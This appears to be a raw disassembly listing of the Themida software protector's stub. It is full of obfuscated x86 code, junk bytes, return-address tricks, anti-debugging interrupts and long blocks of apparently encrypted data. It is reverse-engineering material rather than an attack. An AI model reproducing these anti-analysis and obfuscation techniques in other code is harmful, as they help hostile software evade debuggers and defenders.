loc_56FA7C:				; CODE XREF: Themida_:0056FA69j
		push	dword ptr [ebp+60E36CAh]
		push	dword ptr [ebp+60E36BEh]
		push	dword ptr [ebp+60E36BAh]
		push	dword ptr [ebp+60E36C6h]
		push	dword ptr [ebp+60E36C2h]
		push	dword ptr [ebp+60E36B6h]
		push	dword ptr [ebp+60E36B2h]
		lea	eax, [ebp+60E36ACh]
		push	eax
		lea	eax, [ebp+60E36E4h]
		push	eax
		lea	eax, [ebp+60B24BDh]
		push	eax
		call	dword ptr [ebp+60B000Dh]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+60E36CEh]
		push	eax
		lea	eax, [ebp+60B24BDh]
		push	eax
		push	0
		call	dword ptr [ebp+60B0BD9h]
		push	1
		call	dword ptr [ebp+60B2F4Dh]


loc_56FAE4:				; CODE XREF: Themida_:0056FA76j
		mov	eax, ecx
		call	near ptr loc_56FAF3+1
		fdivr	dword ptr [ebx+1C09B2Ah]
		jp	short loc_56FB0D


loc_56FAF3:				; CODE XREF: Themida_:0056FAE6p
		cmp	ah, [esi-75h]
		retf
; ---------------------------------------------------------------------------
		db 5Ah
		dd 38A0Fh, 0B70F0000h, 0ABC281C8h, 0F00005Ah, 0A88h
		db 0
; ---------------------------------------------------------------------------


loc_56FB0D:				; CODE XREF: Themida_:0056FAF1j
		jmp	loc_56FB17
; ---------------------------------------------------------------------------
		dw 0DD18h
		db 0DFh, 13h, 82h
; ---------------------------------------------------------------------------


loc_56FB17:				; CODE XREF: Themida_:loc_56FB0Dj
		sub	edi, edi
		mov	ebx, 6644343Eh


loc_56FB1E:				; CODE XREF: Themida_:0056FB92j
		mov	eax, [edx+edi]
		call	near ptr loc_56FB2C+1
		sbb	ecx, [edx]
		aaa
		sbb	[eax-2Fh], ecx


loc_56FB2C:				; CODE XREF: Themida_:0056FB21p
		arpl	[esi+5FFB0D68h], di
		pop	ecx
		add	eax, 58CA8FC9h
		jmp	loc_56FB48
; ---------------------------------------------------------------------------
		dw 0F3F5h
		dd 4670AEBh, 62880C82h
; ---------------------------------------------------------------------------


loc_56FB48:				; CODE XREF: Themida_:0056FB39j
		xor	eax, 4C9B08FCh
		mov	ebx, eax
		add	eax, 4B9971DCh
		jz	loc_56FB64
		jnb	loc_56FB64
		pusha
		popa


loc_56FB64:				; CODE XREF: Themida_:0056FB56j
					; Themida_:0056FB5Cj
		push	eax
		mov	ebx, 59CF1B9h
		pop	dword ptr [edx+edi]
		jz	loc_56FB76
		mov	bx, ax


loc_56FB76:				; CODE XREF: Themida_:0056FB6Dj
		jmp	loc_56FB88
; ---------------------------------------------------------------------------
		db 0DFh
		dd 510BC924h, 9035E212h, 23591956h
; ---------------------------------------------------------------------------


loc_56FB88:				; CODE XREF: Themida_:loc_56FB76j
		sub	edi, 4
		clc
		cmp	edi, 0FFFFA600h
		jnz	loc_56FB1E
		mov	cl, 3Eh
		pusha
		mov	dl, 73h
		mov	eax, eax
		jmp	loc_56FBAD
; ---------------------------------------------------------------------------
		dd 341E4F7Ah, 8DFCC24h
		db 0Ch
; ---------------------------------------------------------------------------


loc_56FBAD:				; CODE XREF: Themida_:0056FB9Fj
		cmp	dword ptr [ebp+60B05BDh], 0
		jnz	short loc_56FBBF
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56FBD8


loc_56FBBF:				; CODE XREF: Themida_:0056FBB4j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+60B2A35h],	eax
		lea	ebx, [ebp+60DB31Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_56FBD8:				; CODE XREF: Themida_:0056FBBDj
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56FBF8
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+60B2A35h],	eax
		lea	ebx, [ebp+60DB009h]
		call	ebx
		pop	ebx
		pop	eax


loc_56FBF8:				; CODE XREF: Themida_:0056FBDFj
		mov	dl, 49h
		stc
		mov	eax, eax
		mov	edx, 629CB38Bh
		cmp	dword ptr [ebp+60B2715h], 0
		jz	loc_56FC1E
		push	edi
		mov	dh, 9Ah
		pop	esi
		cld
		jmp	loc_56FE81
; ---------------------------------------------------------------------------
		xor	si, 0F582h


loc_56FC1E:				; CODE XREF: Themida_:0056FC09j
		mov	edi, ds
		push	0
		push	edx
		call	sub_56FC2B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56FC2B	proc near		; CODE XREF: Themida_:0056FC23p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_56FC2B	endp

; ---------------------------------------------------------------------------
		aas
		mov	bl, 8Bh
		retf	0F766h
; ---------------------------------------------------------------------------
		db 0C7h, 4, 0
; ---------------------------------------------------------------------------
		jnz	loc_56FE81
		jmp	loc_56FC5A
; ---------------------------------------------------------------------------
		db 40h
		dd 0D165A8E0h, 78392856h
		db 83h,	90h
; ---------------------------------------------------------------------------


loc_56FC5A:				; CODE XREF: Themida_:0056FC4Aj
		mov	si, 0B54h
		mov	edi, 0
		push	0
		push	edi
		call	sub_56FC6E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56FC6E	proc near		; CODE XREF: Themida_:0056FC66p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_56FC6E	endp

; ---------------------------------------------------------------------------
		dw 476Eh
		dd 8DFCC057h, 0E3D989Dh, 0BA66F506h, 8B930D7Bh,	13E850D7h
		dd 0D8000000h, 58A0A8F5h, 0AE93DD04h, 0AF5E73A8h, 379BCF1Fh
		dd 0F78B3B40h, 6A935Eh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 807E96C3h, 0FF644C63h, 35h, 25896400h
		dd 0
; ---------------------------------------------------------------------------
		mov	eax, esp
		jmp	loc_56FCEF
; ---------------------------------------------------------------------------
		db 3Ah
		dd 0C42FD469h, 36EFB0DFh
		db 72h,	0FCh, 3Fh
; ---------------------------------------------------------------------------


loc_56FCEF:				; CODE XREF: Themida_:0056FCDEj
		int	1		; - internal hardware -	SINGLE-STEP
					; generated at end of each machine instruction if TF bit in FLAGS is set
		jmp	short $+2
		push	0
		push	ecx
		call	sub_56FCFE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56FCFE	proc near		; CODE XREF: Themida_:0056FCF6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_56FCFE	endp

; ---------------------------------------------------------------------------
		dw 5CDDh
		dd 0AC372752h, 6FAC79ADh, 8BD78B66h, 52006AF1h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0FB6E5D38h
		dd 0FBE23F9h, 8E8C9B7h,	0D0000000h, 1542944Fh, 66CD3804h
		dd 37A6E981h, 58F645Eh,	0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_56FD67
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56FD67	proc near		; CODE XREF: Themida_:0056FD5Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_56FD67	endp

; ---------------------------------------------------------------------------
		db 0FCh
		dd 5F3AF5D2h, 0F89DCD8h, 0CE9D0B7h, 3E000000h, 0F4CF924Fh
		dd 982A6629h, 83242229h, 6A04C4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0B96625C3h, 0BE669851h
		dd 0C00BAC45h, 0BF840Fh, 0BA660000h, 666132AAh,	0BD8DC88Bh
		dd 60B7305h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	93C35747h, 5AADBF2Bh, 2736CAEAh, 4890FF8h, 52000000h
		dd 0B8595A50h, 1, 7E8CDB1h, 35000000h, 0C1E96FA0h, 8B609C3Bh
		dd 0FF5A61FAh, 57006AE7h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0BE6B0741h, 34EDADBCh
		dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h
		dd 83000000h, 0B883h, 335F0200h, 0E860C3C0h, 11h, 6F8C4DB4h
		dd 0A14E57A5h, 68524FFEh, 6476914Ch, 1709BF4Eh,	0BA584CA1h
		dd 2415620h
; ---------------------------------------------------------------------------
		popa


loc_56FE81:				; CODE XREF: Themida_:0056FC14j
					; Themida_:0056FC44j
		popa
		mov	edx, 6B7ADE02h
		mov	eax, eax
		push	0
		push	ecx
		call	sub_56FE94
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56FE94	proc near		; CODE XREF: Themida_:0056FE8Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_56FE94	endp

; ---------------------------------------------------------------------------
		dd 8D4B5672h, 0BDBD83E1h, 60B05h, 0BD830975h, 60B29D1h
		dd 50197400h, 0B8C08B53h, 40Eh,	12998589h, 9D8D060Bh, 60DB381h
		dd 585BD3FFh, 29D1BD83h, 7400060Bh, 0B8535017h,	40Eh, 12998589h
		dd 9D8D060Bh, 60DB022h,	585BD3FFh, 6A5A52h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 976F6EC3h
		dd 8B0FF941h, 3, 8BE8F180h, 0AE9C0h, 0B6550000h, 0BEB907AFh
		dd 3AEDF738h, 8BB6CD80h, 1718EBC2h, 9B46F3h, 4 dup(0)
		dd 0E9000000h, 20Bh, 245C8B60h,	0E824h,	815D0000h, 0E3EBAEDh
		dd 4C26106h, 0FFE6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h,	0FFFFFFF6h
		dd 8C26160h, 0FFF6E900h, 0FFFFh, 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 60E3EF2h,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 60E3EF6h
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 65858B00h, 86060B27h
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 60B0AB5h, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 65858B00h, 0C6060B27h, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 0B276585h, 0A188606h
		dd 0F6850FDBh, 0C7FFFFFFh, 0B1E9985h, 6, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 60B1E99h
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
		dd 66C361FFh, 4A8D88Ch,	29840Fh, 85C70000h, 60E3E97h, 1
		dd 4C010F50h, 858FFE24h, 60E3E9Bh, 3E93858Dh, 0BD8D060Eh
		dd 60E3E9Bh, 23E93889h,	8D000000h, 0B043D85h, 38408B06h
		dd 46F31705h, 9385899Bh, 8D060E3Eh, 0B043D85h, 3C408B06h
		dd 3E978589h, 858D060Eh, 60E3EB0h, 0AB58589h, 87E9060Bh
		dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch,	7E9A945h
		dd 0
		dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
		dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
		dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
		dd 0A840F2Dh, 4000000h,	32133498h, 8C3C1D8h, 0FC90B49h
		dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 60E4123h
		dd 52D8589h, 858D060Bh,	60E414Bh, 21ED8589h, 858D060Bh
		dd 60E4173h, 0F018589h,	8EB060Bh, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5702FC
; ---------------------------------------------------------------------------
		db 60h,	52h, 0Fh
; ---------------------------------------------------------------------------
		add	[esp-2], ecx
		pop	edx
		add	edx, 24h


loc_57028C:				; CODE XREF: Themida_:005702C3j
		mov	eax, [ebp+60B0B19h]
		lea	eax, [ebp+60E70DAh]
		mov	ecx, [eax]
		mov	ecx, [eax+1000h]
		mov	ecx, [edx]
		mov	cx, [edx-4]
		mov	[ebp+60E41D4h],	ecx
		cmp	dword ptr [ebp+60B0DB1h], 0
		jz	loc_5702C8
		pusha
		push	0
		call	dword ptr [ebp+60B32DDh]
		popa
		jmp	loc_57028C
; ---------------------------------------------------------------------------


loc_5702C8:				; CODE XREF: Themida_:005702B3j
		mov	[edx-4], si
		ror	esi, 10h
		mov	[edx+2], si
		push	edx
		int	4		; - internal hardware -	OVERFLOW
					; Generated by INTO instruction	if OF flag is set.  If flag is not set,	INTO
					; is effectively a NOP.
		pop	edx
		mov	[ebp+60E41D0h],	eax
		mov	esi, [ebp+60E41D4h]
		ror	esi, 10h
		mov	[edx+2], si
		mov	esi, [ebp+60E41D4h]
		mov	[edx-4], si
		popa
		mov	eax, [ebp+60E41D0h]
		retn
; ---------------------------------------------------------------------------


loc_5702FC:				; CODE XREF: Themida_:0057027Cj
		lea	edx, [ebp+60B2F65h]
		mov	[ebp+60B2765h],	edx
		mov	[ebp+60B2EC5h],	edx
		inc	dword ptr [ebp+60B2EC5h]
		mov	byte ptr [ebp+60B2845h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+60B0B01h]
		lea	eax, [ebp+60B390Dh]
		call	eax
		mov	[ebp+60B32DDh],	eax
		lea	eax, [ebp+60E3ECAh]
		mov	[ebp+60B1BBDh],	eax
		jmp	short $+2
		jmp	loc_5708F4
; ---------------------------------------------------------------------------
		jmp	loc_5708ED
; ---------------------------------------------------------------------------
		push	60E436Fh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E44B8h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E4521h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E460Ah
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E471Ch
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 0F204h
		dd 98EF18DBh, 4E5D4AA9h, 0FF07E073h, 0AEF213C0h, 0EEF54C97h
		dd 29CAF50Fh, 599AA7FCh, 0F66D58ACh, 22310C19h,	0EF9B13D9h
		dd 60C59A5Fh, 27A72B91h, 0DFC3941Dh, 0C3941DABh, 941D384Bh
		dd 1D86C6C3h, 0F7EC394h, 0F7C3941Dh, 43941D97h,	9C4ED5A7h
		dd 9F25E508h, 0FA605A3Dh, 11C2FD0Bh, 4795A0F4h,	82764B56h
		dd 70A8A04Eh, 0BBC5172Ch, 0F30C394Ah, 0E0B20632h, 1DE907C9h
		dd 0C46B5EC8h, 26A5CB70h, 968E6717h, 0A8A79B78h, 0C6DF7A6h
		dd 341AFD55h, 0B1000004h, 18F56E65h, 0C6273C0Dh, 0B05D86BBh
		dd 1F886B6Ah, 9A393A05h, 5D60B853h, 2D106986h, 0F0CFD936h
		dd 44718263h, 76FE729Fh, 0C59A5E12h, 0DEBE2695h, 0B91B6DD5h
		dd 1B7F536Eh, 4B5647D1h, 864E8276h, 0C3941DC2h,	1DC08428h
		dd 7347C394h, 0B890BE84h, 941DD9A8h, 8C79EBC3h,	86FA4E7Bh
		dd 6ED2ED37h, 2BBAFC2Ah, 5F84B1C2h, 0E46865AEh,	7D5E035h
		dd 0CA5CBDD8h, 94F426A2h, 0A651A9C3h, 0DB234C27h, 0D83C10E4h
		dd 0B15E1B3Fh, 0D9774D10h, 4C7D8871h, 340B11F8h, 9B2A0040h
		dd 8E1F19E7h, 32211C69h, 40F227C6h, 3620232h, 0DEEA0000h
		dd 0DC14F8D5h, 0C3941DADh, 1F32D42Ch, 50FA9D39h, 0C0A91D71h
		dd 4B3599B4h, 3EC2BC49h, 7CE36964h, 68FC3203h, 0C394051Ch
		dd 7090AF93h, 94799728h, 0FBD62383h, 0BDAF5C87h, 94F95D29h
		dd 2E8D2C3h, 0C0B48B93h, 0DE320119h, 8012D830h,	94F9186Ch
		dd 7DABEFC3h, 0AA498490h, 0A91D287Dh, 0C1122D71h, 74E6D324h
		dd 0F90642EAh, 0B189C394h, 0B5CAB397h, 83C36B88h, 2C394F9h
		dd 3C7CC0FDh, 8711DB60h, 94F91B6Fh, 7896ECC3h, 0FD0F7EF6h
		dd 0BA80BD9Fh, 61F283ADh, 5FA4886h, 2EBh, 3E251C66h, 688BC6D1h
		dd 865D6CBFh, 31221169h, 62F1CCD4h, 2B718CD3h, 0D9DECF14h
		dd 868E7FE4h, 2E7B944Fh, 313BC013h, 9A59C9BDh, 9EF5EC5h
		dd 14F8D5DEh, 916550A5h, 75EED328h, 941DA1E1h, 2DA9D9C3h
		dd 0D328C394h, 0BACA1AEEh, 8A3C6BEDh, 6B8369F2h, 4260D3AAh
		dd 6855AA03h, 0EE3FFB74h, 1EF48662h, 282B9h, 9CABFF00h
		dd 625FA647h, 340514F1h, 99B8FE2Fh, 6857AD5Ah, 0C6254C8Bh
		dd 0B75083B2h, 6780536Eh, 0D03D2611h, 0A0698AC7h, 58A02448h
		dd 5827C59Ah, 4550BDE0h, 2673DA74h, 0ADF6A72Bh,	77DBF605h
		dd 0E24B3F13h, 68D1A59Ch, 0E15F2312h, 0EA5426A7h, 516CB560h
		dd 257FA9EDh, 8E3643A8h, 83C74B8Ah, 851EBDAFh, 8F5D5706h
		dd 77F1729Ch, 0F2467B86h, 5F8E709Eh, 4A324193h,	1E0h, 1D27A792h
		dd 5EA6C394h, 513FC67h,	0C27D4C5Fh, 2AEF86B5h, 0F765599Ah
		dd 26C0FD06h, 122D7B22h, 37B6F0AEh, 0FF8B23ADh,	70C394B2h
		dd 2771DC0Ah, 20C9CB28h, 1E3241A0h, 2D446FA1h, 0B3678B55h
		dd 91831983h, 0E178968Ah, 52h, 0E30D6F0Fh, 659CBB96h, 5772Ch
		dd 0A2CA1074h, 0BD9F6E7Bh, 0EB418EF4h, 10866293h, 1995D32h
		dd 0C2D40000h, 68BF688Bh, 1E6D9A59h, 0CFD73023h, 7E8263F0h
		dd 3E259C47h, 79FAC5DFh, 0A94A778Ch, 0C61D287Ch, 72E1DC29h
		dd 0BFCB6389h, 30C59A5Bh, 2EC2DB41h, 941DCA86h,	91655DC3h
		dd 72E1DC28h, 35A549F6h, 0B03651EFh, 0A162B796h, 9407790Dh
		dd 90F4CEC3h, 95B2CC2Ch, 0ED57A14Eh, 0E6DAAE95h, 45D75182h
		dd 9407A521h, 36D02AC3h, 3F7C2D7h, 0F278455Ah, 2AC4FB03h
		dd 4A84049h, 0C3940740h, 5E0FF3C7h, 0B9E57E53h,	6F75BE4h
		dd 0C8BC30FBh, 5FC39407h, 2F3E75A0h, 776BBCFCh,	2E5EC013h
		dd 1EC39489h, 0FF77E57Eh, 0BD9F8ECAh, 8F5675Bh,	734E59FDh
		dd 85574B8Fh, 43F94656h, 61095F2Bh, 2DEAD03Ah, 0CA62BF3Dh
		dd 3A616FBEh, 3BD5C931h, 9384FB8h, 3C0D485h, 616F9FEBh
		dd 6CBF103Ah, 0B195E95Dh, 0FB00E95Dh, 788B72C6h, 0DFBDFD41h
		dd 0E31E9644h, 74446A55h, 284A84D5h, 5A80E071h,	7E4CB6D2h
		dd 0EDC13930h, 6D81F462h, 2CE3678Ch, 87h, 5A99B0C2h, 0F46F5AADh
		dd 2231081Bh, 5D86BDC5h, 8E5568B0h, 0B7CD2037h,	65BA6B88h
		dd 1A6A9B58h, 0C2D73023h, 4D9F6CF7h, 9A5AADD9h,	0ED5322C5h
		dd 14F8D5DEh, 916550A5h, 3BE0ED27h, 0F400D3EEh,	3240F155h
		dd 177Ch, 50BD9800h, 4C807445h,	1DB3D2A2h, 0E132C394h
		dd 1F880FD4h, 10000000h, 941D27A7h, 0CFD8C5C3h,	0CCF30BF2h
		dd 0E3DE2B22h, 247F470h, 2A1A8A51h, 41A590E4h, 0D982B1A7h
		dd 293h, 0DE807000h, 0A009FDD4h, 27967A57h, 0AB12E6D1h
		dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h
		dd 0CF7BCFFAh, 3B7C68h,	48F5400h, 24048124h, 4,	62F968h
		dd 241C8900h, 272F68h, 243C8900h, 6EE868h, 240C8900h, 0E42DAB9h
		dd 59CB8906h, 243C8B54h, 6804C483h, 500h, 81241C89h, 2D2A2404h
		dd 478F2CA6h, 86F8108h,	2CA62D2Ah, 53243C8Bh, 0C381E389h
		dd 4, 4C381h, 1C870000h, 34FF5C24h, 0C4835B24h,	36FDE904h
		dd 0BF4AFFFDh, 0CE44BAF2h, 58E050A7h, 70FD7444h
		db 12h
; ---------------------------------------------------------------------------


loc_5708ED:				; CODE XREF: Themida_:00570347j
		mov	eax, 60E47C8h
		add	eax, ebp


loc_5708F4:				; CODE XREF: Themida_:00570342j
		mov	edx, ecx
		jmp	short loc_570918
; ---------------------------------------------------------------------------
		dd 8 dup(0)
; ---------------------------------------------------------------------------


loc_570918:				; CODE XREF: Themida_:005708F6j
		jmp	loc_570EAC
; ---------------------------------------------------------------------------
		jmp	loc_570EA5
; ---------------------------------------------------------------------------
		push	60E4A17h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E4ACAh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E4CBAh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E4D21h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 2E78h
		dd 0D423CC17h, 82917EE5h, 237B944Fh, 0D226C71Ch, 9AC170E3h
		dd 0DD063943h, 0DD6EB30h, 0BAB994E0h, 0D60D384Dh, 0DBAFC725h
		dd 0ACC59A55h, 0D3DE67DDh, 0D5C00AFEh, 8C58F6CDh, 43941DFCh
		dd 4D524329h, 4DA19CE5h, 496B85F9h, 0F7A544BCh,	4E8CB240h
		dd 68000000h, 941D26A7h, 6A8418C3h, 21CB2F16h, 0F2D2D5BAh
		dd 94420E7Ah, 9EB981C3h, 0A91035D9h, 0A5996D50h, 8D4DE18Bh
		dd 4FBD9914h, 38A23E10h, 286CD0E9h, 8F2660EFh, 6043E261h
		dd 0A9DD5124h, 3E3A6630h, 0D6543BC4h, 45BCA79Bh, 13h, 1D27A7EFh
		dd 8517C394h, 38F86CFEh, 0B7BD99E4h, 0DE609043h, 0E1D25D3h
		dd 18B2C9BFh, 0B4C73624h, 45C90410h, 65592D01h,	97B18C94h
		dd 38ECB3B3h, 4553456Bh, 0CED7860Ah, 0CCF90AF3h, 95100A78h
		dd 717CA4F9h, 93407988h, 0BFADBAC3h, 945A5737h,	1EE2D843h
		dd 0FD6F5AAFh, 45C90410h, 520CE701h, 615CA44Ah,	0DF3FDDD6h
		dd 47BBDD2Ch, 4B681195h, 0FDC53D9Fh, 79A9D909h,	247CBA61h
		dd 0ADF223A9h, 0ECC0FF05h, 100A2418h, 0AC3570F9h, 74D0h
		dd 0D6F3C00h, 0C85AE476h, 941D20A4h, 0B553A7C3h, 99DD7C21h
		dd 6389F1BDh, 5B2F47D1h, 2C3A65A2h, 0C0D538D6h,	50E26EF5h
		dd 65A3A8DCh, 2DDB3F3Ah, 6DFAD720h, 86661FB7h, 42894EC4h
		dd 0C9000003h, 0B05D86BDh, 1E8F5465h, 0C8253E13h, 0B75083B2h
		dd 3281526Dh, 0F5C8D02Bh, 4578816Eh, 2827719Eh,	0FCC9DACBh
		dd 0DE569A67h, 0C59A57AAh, 0C8D64E3Dh, 30Dh, 0FED3DE50h
		dd 1DAADA0Ah, 1348C394h, 990D1E84h, 0C39436EDh,	50FF1862h
		dd 0E5719FBFh, 0C3948D65h, 948CEE9Dh, 8C7808C3h, 6B9AC394h
		dd 7A5E221Dh, 8C4838CCh, 0D0B0C394h, 0E003948Ch, 0E655879Ch
		dd 2FE5E7DFh, 38DE9579h, 9858FA05h, 6DFF719Fh, 1988A3CEh
		dd 4CFAAD73h, 99C3D4B8h, 0C4D7C6FDh, 23CD01F5h,	326ADE24h
		dd 0E30BD16Ah, 846D9446h, 7AB4B387h, 894C7051h,	28FC6B9h
		dd 2140000h, 0A8FF28CBh, 5EAD5A99h, 0F17F063h, 0BEC22330h
		dd 0FEE55C87h, 393A051Fh, 698AB7CCh, 865D68BCh,	32211C69h
		dd 0FF8B23C9h, 70C59A57h, 0D5DE1B81h, 1DE2E60Eh, 1D65C394h
		dd 47555539h, 0AEF751A9h, 0F7EB2F93h, 0ECC0FD06h, 0FEE6C17Eh
		dd 82B583FEh, 36628A64h, 39BD99BDh, 0A6F512C1h,	0D13C48ABh
		dd 0F25BF5C8h, 0C626AAA7h, 37BFADB6h, 446BEA0Bh, 43DDDD7Ch
		dd 0D33E4AE2h, 49B13077h, 0CB68F98Eh, 81211493h, 48AC8039h
		dd 94EC19ABh, 97F77FA9h, 0A73077EDh, 3F9C4ED5h,	16549F80h
		dd 0F3C2D8DBh, 0A195609Fh, 7A1D0B0Fh, 0A28A22CCh, 9D4E7AD5h
		dd 3D46B7A5h, 0E132D300h, 0B5193441h, 3C80B1C4h, 3C80E4D8h
		dd 40F54434h, 0B034462Eh, 2E40FAD4h, 691D915Bh,	0FE2E40FAh
		dd 797A084h, 381ADC3h, 1E7E3EE8h, 835FD705h, 0D4504DC9h
		dd 84917CEEh, 2772A349h, 8A7BFC2Ah, 0F3CED979h,	3D42CB0Fh
		dd 88582C00h, 2451F8E8h, 0F50AA4F8h, 0F406D4C8h, 51F81470h
		dd 0B5A79B24h, 51F85531h, 46E0DA24h, 1C00A4h, 0BA135A5Ch
		dd 87558365h, 0C6AB9777h, 0C63A1EE2h, 7A9CE914h, 24D34609h
		dd 0ACF25B3Ah, 89ED2195h, 5D68BD6Ah, 50EBB1E9h,	2BD2628Ah
		dd 251D5C2Eh, 9BF19151h, 7C24183Dh, 0E43AEB71h,	28196CDDh
		dd 54C660A4h, 0DEA76B5h, 320F1A8Bh, 0C4D14h, 0A7AB0000h
		dd 0C3943227h, 20B0h, 1EBDD800h, 0AEC6AEB9h, 0C394A6DAh
		dd 55AA55ADh, 3EB6A439h, 0C394364Ah, 0BB4BE5DDh, 0C39418CBh
		dd 800D6F5Dh, 941D186Ch, 5CFEAFC3h, 0AC8935B6h,	1F50EFD3h
		dd 2B3695DCh, 0BA349ADh, 0BD99C72Fh, 84563A00h,	0AFC70C19h
		dd 3A65C4DBh, 8E7256ACh, 7C009C4Ah, 8F175E7h, 88446EC0h
		dd 0E38071Dh, 0D23EC931h, 198C7109h, 9F5629h, 12640000h
		dd 0B8CF383Bh, 6EBD6A89h, 1F678053h, 0CED23320h, 8ED56CF7h
		dd 0C92A156Fh, 79FAC7DCh, 964D788Ch, 0C2112C79h, 0CFBB3339h
		dd 40C59A51h, 0D6F0BF1h, 45B990E3h, 0E53B1F97h,	0B461BD99h
		dd 58B7516Ch, 0B195A4F7h, 0C7C07FCDh, 0EEEE1D3Fh, 0A9F3CB65h
		dd 29244892h, 0BE446E61h, 0A64F8B44h, 8E848C71h, 38C9h
		dd 9CABFF00h, 625FA647h, 340514F1h, 99B8FE2Fh, 6857AD5Ah
		dd 0C6254C8Bh, 0B75083B2h, 6780536Eh, 0D03D2611h, 0A0698AC7h
		dd 50A02448h, 5827C59Ah, 3C8E0h, 84500000h, 0FDD4DE9Ch
		dd 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h
		dd 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 8951CF7Bh, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 2404895Ch, 6A6168h, 243C8900h
		dd 688568h, 24348900h, 410EBA52h, 0D78905EBh, 0A8F7815Ah
		dd 6803E509h, 109Ch, 81242489h,	42404h,	575E0000h, 8F242C81h
		dd 8F09E827h, 46810846h, 0E8278F08h, 2434FF09h,	4C4835Eh
		dd 56243C8Bh, 0C681E689h, 4, 8704C683h,	0E95C2434h, 0FFFD3143h
